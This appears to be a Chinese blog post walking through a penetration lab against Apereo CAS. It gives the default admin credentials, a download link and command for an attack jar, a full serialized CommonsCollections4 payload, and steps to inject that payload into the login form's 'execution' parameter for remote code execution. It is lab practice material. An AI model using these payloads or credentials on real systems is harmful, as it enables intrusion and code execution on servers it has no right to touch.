当前位置: 首页 > news >正文

Apereo CAS靶场渗透练习

一、靶场搭建

搭建完成后,靶场URL弹出404

后台登录接口为:/cas/login ,登入该接口

二、漏洞验证

1.Apereo CAS管理界面的默认口令为:casuser\Mellon,尝试登录成功

2.下载工具: apereo-cas-attack-1.0-SNAPSHOT-all.jar,下载地址:https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

运行:java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

生成payload:748a638b-b92a-4f83-944e-50f0097ef75d_AAAAIgAAABBs8OWaxyA6cLtk8%2BKZ9b%2BcAAAABmFlczEyOP1FcvmNUx6ssRweFSjINCAHzJZMaYPYoXxK7vbAErn2SSqrL0kgrnf1c3PP8c721Mvk%2FhiaZUWFFiMWGtfkXDfLMRia0qISg%2B2GXBGaqZtzHT8y9GPxqmbvJXnnl5o4BGlqdptWAs7wRWxgUCe8r8Qt91KZvq3EWFcP59q0hW%2FNl1gm98Tzwubb5E6CQbBCPAXaNNB%2BsKX3rUEz%2FxuuuuLhN7cVIPYc%2Bs4wnELAtS26X61hd8FVMocFhBrkbvYG16Bs9yWYZtkCQTCqb%2FSRioSxuAT3sbQNTlAMEKcQsAsPMVJLrS%2FWML0gGli%2BOEtiIAURiebDQdW%2Fsg8IfNmokQ%2BJXcut%2Bg952amFTHpDT4Hnty6OeXCls2vHY0c6935lSS0QwnRhXuewcTX0dz9UqgjiQsFfW3WWVSCrIBWTYxdXXyPAViPy54N6Mv03KTkkXRhOoMyVRk8htiREA5TawXnYTXKLA9WUNrS4UyX2xWJv%2FsmateMzeCi2Iy8BuG%2F%2FjU80jCR%2Fdkd%2FxpV63aFnsFC8PoQbVmJEMm5aJl0ZHnGSHAhlBmz6rntkzQZhleRTztC27eMCuV%2FNXpVpkkI38Whwr5Fst5fTdvHc0i92condf3du%2BRBnatjbdONmKByn2pbl%2FzLLQx37xqgBBC%2BmmNFPnjSgxUimEyWuq8PjKyHWdQA%2BKR1mdhG45iBQCks4FwlhETagdEwUonLB4BPVw1shhCDEHi7eMTS%2B3n0rG3YVojay7u3Axn1BKiwGXIT8NxlOeaxNElU01RiZ0jZrgYyMxGOcxU8kfbBECUIMiE%2FHnEvCkj%2FtiGbNNV8SH4Pvy%2FcmINPl%2BkmzqvaNeoCRUqU4Kfo4oo6N3Puo31I2KtMo29ceO8DN14dRQ3Fbr%2BFAN1e4YpOu1U%2B%2FZL9S8k%2B0SpANHiI4VVmESS4arMTnQkZJfZfr%2BOR5wPfZSTBfTmuzGPdEyeMqA8np04Hvvkk9lLcie%2BN9He8Q%2BY7QWL2jfXeLl%2Bcy9zVOn9Whe1c551s9KKgbPBhgsAXkNQ%2Fx5XLv5iWZznSPZco0YfX8Dh%2BlfpzJ1dfejQVaRgpULu%2By5gdpMsWM3U8AS2rl1uxxxgZLBG%2FiTnNeYOGQBxdRdpbmkn%2BHuKDCCDaihcuKNrbgjWUy22mCzbDaayCk8Uh%2BIm7KSjYyGJ1%2BS0suHkkOGtMcadGeZ%2BC1MXM5xkCnbqh7I8%2FIz6iJEkgxBwFIXNGtgcSKyhFwxrzze%2FC0NedSSGUEZFfNISyzaUqKhrQcoSmfYZXZ79%2F2g1zxadtLRq3Q6UvnBAfoKq%2B6wkCydaeh%2BLIh009J5cY6ABqTrju3Y6KIg67fzzN54XUnGb80lpppNd9g4EJ34dn%2FMfyEpoWhP3HO8c21l6t4YccY9Ioy5LAdx19aiJUH5bz4h1vTQEfWF%2FMPQ82vdCVFLqcQgBW7oBM%2FBImN4ch6cwsdp1kU9abzXUSK%2BrsBNkVHnneErUyQLwmKGjb2RKjErwTQ%2Fa7s104FGGJP%2Bw4KiFQuopSBz5Lu8H2Rk%2FS%2FuNCm6CSNKh6bxGSf4%2B7V0MOvAxqzLwFcbZi8mRgqYXZ3QKfPP2ZOBfinS5%2BXQYYyj51bRBDmDoU51Hx6fB9UPy69t2bOR%2B5bCpddeyc6t2luphilnUzu47qR1DIQAkNFKPXr6q2vz7pbpPE1hxjnlsOse4ERvtqNbe9yuMJCiKmtBKOYjZH4Zxh9pEama%2BZlzkjQOojzPQOCSeg2oFl1ncTz1v9%2FFUuGk1qUVccaOPt6Kj10nKnd60%2FQ6qtmkXnzdAp1ykBnYdnZl1JBVkbY%2FYHCC4E5E0dn6XFtgfNigWY%2Fx0UfpA78QdzIijTHhby7%2Fhovhz9PpHAous72Tv%2Fzs96G%2B687jdC3MbJ1rK8dYErFjyQj%2BfiFnBiYxBzTgYCB8AzAPLZVE%2FDTMnpmbuYiuKrKDump3J7ZJ7SXzDzd

3.BurpSuite抓包

4.将execution后面内容替换成生成的payload,发现有回显,漏洞存在

三、漏洞利用

利用工具直接利用漏洞

http://www.dtcms.com/a/334809.html

相关文章:

  • 【Linux系统】进程间通信:System V IPC——共享内存
  • Flink 源码系列 - 前言
  • 如何使用5个时间步长创建移动平均特征
  • 自动驾驶中的传感器技术33——Lidar(8)
  • Leetcode 14 java
  • 数论之普通判别法、埃氏筛与线性筛的应用及其对比
  • PowerShell 第11章:过滤和比较(下)
  • 深度剖析Redisson分布式锁项目实战
  • redis存储原理与对象模型
  • 《A Practical Guide to Building Agents》文档学习
  • 数学建模:智能优化算法
  • PostgreSQL——事务处理与并发控制
  • CVE-2021-4300漏洞复现
  • 海康机器人3D相机的应用
  • ZKmall开源商城的数据校验之道:用规范守护业务基石
  • Vue 3与React内置组件全对比
  • 【lucene】SegmentInfos
  • 《Leetcode》-面试题-hot100-技巧
  • 科研工具的一些注意事项
  • 【minio】一、Linux本地部署MinIO
  • stringstream + getline()实现字符串分割
  • Java 10 新特性及具体应用
  • 二分查找。。
  • 【大语言模型 02】多头注意力深度剖析:为什么需要多个头
  • Python 类元编程(元类的特殊方法 __prepare__)
  • nflsoi 8.16 题解
  • 【数据结构】-2- 泛型
  • Python - 100天从新手到大师:第十一天常用数据结构之字符串
  • Java实现汉诺塔问题
  • AI Agents 2025年十大战略科技趋势